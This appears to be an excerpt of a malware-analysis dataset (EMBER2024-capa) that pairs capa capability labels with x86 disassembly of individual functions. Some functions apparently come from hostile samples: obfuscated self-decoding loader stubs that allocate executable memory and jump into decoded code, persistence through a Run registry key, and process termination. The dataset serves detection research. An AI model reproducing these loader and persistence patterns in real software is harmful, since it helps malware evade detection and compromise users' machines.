joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010e0f
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002a74e
call fcn.10016280
mov esi, ecx
xor edi, edi
xor ebx, ebx
and dword [ebp - 0x814], edi
cmp dword [esi + 0x40], ebx
je 0x10010f3b
push 0x10
lea eax, [ebp - 0x828]
push ebx
push eax
call fcn.10016100
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push edi
push str.Caption
push dword [esi + 0x40]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], edi
push eax
push 2
push esi
call fcn.1000b141
add esp, 0x18
test eax, eax
jne 0x10010ea5
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.1000b141
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.USER32.dll_FindWindowW]
mov ebx, eax
mov eax, dword [esi]
lea ecx, [ebp - 0x814]
push ecx
mov ecx, esi
call dword [eax + 0x2c]
mov edi, eax
test edi, edi
js 0x10010edb
cmp dword [ebp - 0x814], 0
jne 0x10010edb
push 0
push str.Quit
push dword [esi + 0x40]
push 0
push 1
push esi
call fcn.1000b141
add esp, 0x18
mov edi, eax
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x10010eec
and dword [esi + 0x40], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
je 0x10010f3b
cmp dword [ebp - 0x814], 0
jne 0x10010f3b
test edi, edi
jns 0x10010f3b
and dword [ebp - 0x818], 0
lea eax, [ebp - 0x818]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x818]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, edi
call fcn.1001622f
ret
Function at 0x10012866
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002aa12
call fcn.10016280
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012883
xor eax, eax
jmp 0x10012959
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012957
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x1001292d
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.1001249d
push ebx
lea ecx, [ebp - 0x244]
mov dword [ebp - 4], edi
call fcn.1001249d
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 1
call fcn.100129db
lea ecx, [ebp - 0x244]
call fcn.100129db
push dword [ebp - 0x240]
lea ecx, [ebp - 0x244]
call fcn.1000b141
mov ecx, dword [ebp - 0x244]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012937
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012ac9
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100128b0
jmp 0x10012950
mov edi, dword [ebp - 0x234]
call fcn.10012ac9
mov ecx, dword [ebp - 0x240]
add ecx, 0xfffffff0
call fcn.10012ac9
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.1001622f
ret
Function at 0x1001347b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1001348a
pop dword [ebp - 0x20]
mov eax, 0x4298941
sub eax, 0xf42854b7
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x9ffe6e83
add dword [ebp - 0x30], 0xae53d6c8
mov dword [ebp - 0x2c], 0xea2adb51
sub dword [ebp - 0x2c], 0xb7f78f0c
mov dword [ebp - 0x28], 0x41317b54
add dword [ebp - 0x28], 0xb1ac8da
mov dword [ebp - 0x24], 0xd6cdef18
add dword [ebp - 0x24], 0x293210e8
lea eax, [ebp - 0x30]
push eax
mov eax, 0x89527ca2
sub eax, 0x79507c9e
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xece9dd16
add dword [ebp - 0x30], 0x87888c40
mov dword [ebp - 0x2c], 0x4b9f73e3
add dword [ebp - 0x2c], 0xf5cced92
mov dword [ebp - 0x28], 0x67971329
sub dword [ebp - 0x28], 0x427a6bd
mov dword [ebp - 0x24], 0x9eb4887
sub dword [ebp - 0x24], 0x9eb4887
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x90f64541
add eax, 0x7f0bbabf
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3d417
push 0
call eax
mov ecx, 0x49dc
mov esi, eax
mov edi, 0x47d2ae2d
add edi, 0xc8300dd3
add edi, dword [ebp - 0x20]
mov edx, 0x987f51af
sub edx, 0xbd165236
add dword [ebp - 0x1c], ecx
mov ebx, dword [edi]
sub dword [ebp - 0x14], 0xc0dee090
sub ebx, edx
xor dword [ebp - 0xc], ecx
mov dword [esi], ebx
mov dword [ebp - 0x10], 0xb2205ab5
add esi, 0x8c1edcf4
sub esi, 0x8c1edcf0
add edi, 0x19f38c2e
add edi, 0xe60c73d6
loop 0x100135a6
add eax, 0x3ec3e6c5
add eax, 0xc13d337e
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xde4b1455
add ecx, 0x31b4ebab
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x402b40
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop

Function at 0x414f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd000]
push edi
jmp 0x414f3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414f41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414f30
mov eax, 1
add ebx, ebx
jne 0x414f53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414f48
jne 0x414f64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414f48
xor ecx, ecx
sub eax, 3
jb 0x414f78
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414fea
mov ebp, eax
add ebx, ebx
jne 0x414f83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414f90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414fb4
inc ecx
add ebx, ebx
jne 0x414fa0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414f95
jne 0x414fb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414f95
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414fd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414fc5
jmp 0x414f36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414fd4
add edi, ecx
jmp 0x414f36
pop esi
mov edi, esi
mov ecx, 0xf
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414ff2
cmp byte [edi], 0
jne 0x414ff2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414ff7
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x415066
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18bf8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18c34]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x415024
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18c38]
or eax, eax
je 0x415060
mov dword [ebx], eax
add ebx, 4
jmp 0x415041
call dword [esi + 0x18c48]
mov ebp, dword [esi + 0x18c3c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41509a
sub esp, 0xffffff80
jmp 0x4012ad
Function at 0x10002ac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10002acf
pop dword [ebp - 0x44]
mov eax, 0xaeae2318
sub eax, 0x9eadf849
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3c6300f4
sub dword [ebp - 0x54], 0xee10bba9
mov dword [ebp - 0x50], 0x16fdde4
add dword [ebp - 0x50], 0x30c36e61
mov dword [ebp - 0x4c], 0xcc740b9f
sub dword [ebp - 0x4c], 0x8027c771
mov dword [ebp - 0x48], 0xccf0c836
sub dword [ebp - 0x48], 0xccf0c836
lea eax, [ebp - 0x54]
push eax
mov eax, 0x46d1d308
sub eax, 0x36cde2d4
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xcec1540
sub dword [ebp - 0x54], 0x9879abea
mov dword [ebp - 0x50], 0x229dd658
sub dword [ebp - 0x50], 0xe13174e3
mov dword [ebp - 0x4c], 0x7c1eab6f
add dword [ebp - 0x4c], 0xe750c0fd
mov dword [ebp - 0x48], 0x5a86a684
sub dword [ebp - 0x48], 0x5a86a684
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x482c9
push 0
call eax
mov ecx, 0x50a2
mov ebx, eax
mov edi, 0x10054e00
add edi, dword [ebp - 0x44]
mov edx, 0x2ac65aff
sub edx, 0x46ca8e2d
add dword [ebp - 0x3c], ecx
mov esi, dword [edi]
xor dword [ebp - 0x18], edi
sub esi, edx
sub dword [ebp - 0x34], 0x3e05286b
mov dword [ebx], esi
xor dword [ebp - 0x2c], ebx
add ebx, 0xd70876e1
add ebx, 0x28f78923
add edi, 0x78f3872
add edi, 0xf870c792
loop 0x10002be0
add eax, 0x9315ad0b
add eax, 0x6ceb8850
xor ebx, ebx
add ebx, eax
add eax, 0xc14600dc
sub eax, 0xc14600d7
mov ecx, 0x2622bfe7
add ecx, 0xe9dd4019
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x100366e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e348
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004e2d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004e28c]
cmp eax, 0xffffffff
jne 0x10036716
xor ebx, ebx
jmp 0x1003671f
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003675f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003679e
test esi, esi
jne 0x100367a2
push 0x10035270
push 0x1004fad8
call fcn.10002ac0
mov eax, dword [0x1004e28c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003675f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003678c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003678c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100367e4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x100367cd
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x100367a2
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036730
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x10036809
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x10036809
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.10002ac0
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100367f0
jmp 0x10036730
Function at 0x401220
Capabilities:
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x12c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
call fcn.004018d0
lea ecx, [esp + 0x12c]
push 0
push ecx
lea ecx, [esp + 0x18]
call fcn.004018e0
test eax, eax
jne 0x40129c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x12c]
push 0
push edx
lea ecx, [esp + 0x18]
call fcn.004018e0
test eax, eax
je 0x40127a
lea ecx, [esp + 0x10]
call fcn.00401a90
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 8
mov dword [0x401aa4], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x401aa4]
mov dword [0x401aa0], eax
push ecx
push eax
lea ecx, [esp + 0x18]
jmp section..htext

Function at 0x4014f0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40151e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, esi
pop esi
ret

Function at 0x401570
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x214
lea eax, [esp]
mov dword [esp], 0
push eax
push 0xf003f
push 0
push 0x4011c0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401662
mov ecx, dword [0x4011b0]
mov eax, dword [0x4011b8]
mov edx, dword [0x4011b4]
mov dword [esp + 0xc], ecx
mov cx, word [0x4011bc]
push edi
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1e]
mov dword [esp + 0x14], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esp + 0xc]
lea eax, [esp + 0x114]
push edx
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push ecx
lea edx, [esp + 0x1c]
push 0
push edx
push eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401656
mov edx, dword [esp + 0x21c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov edx, dword [esp + 0xc]
push 1
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x214
ret
Function at 0x4045f0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404656
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403b3c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402860
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404640
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40465d
lea eax, [ebp - 0x10]
call fcn.004038e8
ret

Function at 0x406830
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406869
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004039d8
jmp 0x406872
mov eax, ebx
mov edx, esi
call fcn.0040393c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40687c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40689d
mov al, byte [esp]
jmp 0x40689f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4079c4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x407a28
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403b3c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00405be4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407a2f
lea eax, [ebp - 0xc]
call fcn.004038e8
ret

Function at 0x4089c4
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x408a0a
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00408928
mov eax, dword [ebp - 4]
call fcn.00403cc4
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408a11
lea eax, [ebp - 4]
call fcn.004038e8
ret
Function at 0x408c08
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x408c95
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x408c52
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.004039d8
jmp 0x408c7f
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x408c66
lea eax, [ebp - 4]
call fcn.004038e8
jmp 0x408c75
lea edx, [ebp - 4]
call fcn.00408ad4
test ebx, ebx
je 0x408c75
dec ebx
jmp 0x408c57
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040393c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c9c
lea eax, [ebp - 4]
call fcn.004038e8
ret

Function at 0x408ca4
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00405dc4
add esp, 0x104
pop ebx
ret

Function at 0x408de8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x408f1c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x408f06
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
je 0x408e45
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x408f06
cmp dword [ebp - 0x10], 0
jne 0x408e5a
mov eax, dword [ebp - 8]
call fcn.004038e8
mov bl, 1
jmp 0x408f06
cmp dword [ebp - 0x10], 0x70000000
jb 0x408e68
call fcn.00407010
mov esi, dword [ebp - 0x10]
shr esi, 0
lea eax, [ebp - 0x14]
mov ecx, esi
xor edx, edx
call fcn.004039d8
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
call fcn.00403d14
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExA_1
cmp eax, 0xea
je 0x408e0e
test eax, eax
jne 0x408f06
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
je 0x408eb6
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x408f06
mov esi, dword [ebp - 0x10]
shr esi, 0
jmp 0x408ebf
dec esi
test esi, esi
je 0x408ecd
mov eax, dword [ebp - 0x14]
cmp byte [eax + esi - 1], 0
je 0x408ebe
cmp dword [ebp - 0xc], 7
jne 0x408ed8
test esi, esi
je 0x408ed8
inc esi
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403db8
cmp dword [ebp - 0xc], 7
jne 0x408ef9
test esi, esi
je 0x408ef9
lea eax, [ebp - 0x14]
call fcn.00403d14
mov byte [eax + esi - 1], 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.0040393c
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f23
lea eax, [ebp - 0x14]
call fcn.004038e8
ret
Function at 0x4098c8
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40f7bc
mov eax, esi
mov edx, 8
test al, 1
je 0x4098e4
shr eax, 1
xor eax, 0xedb88320
jmp 0x4098e6
shr eax, 1
dec edx
jne 0x4098d7
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4098d0
pop esi
ret

Function at 0x4098fc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40f7b8], 0
jne 0x40991f
call fcn.004098c8
push 1
push 0x40f7b8
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x40994b
mov edx, ebx
and edx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40f7bc]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x409925
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40b3d0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0040b384
test al, al
jne 0x40b3f1
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x40b43d
xor eax, eax
push ebp
push 0x40b42d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403cc4
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b434
lea eax, [ebp - 0xc]
call fcn.0040b3c0
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b77c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x40b784
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x40b871
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00408cd0
mov edx, dword [ebp - 8]
mov ecx, 0x40b888
xor eax, eax
call fcn.0040b66c
push 0
mov eax, dword [ebp - 4]
call fcn.00403cc4
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x40b83f
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x40b79e
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x36
call fcn.0040b108
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00405bbc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.004091b8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x68
call fcn.0040b0d8
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x404fc4]
call fcn.0040701c
call fcn.00403348
jmp 0x40b79e
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040393c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b878
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.0040390c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040390c
ret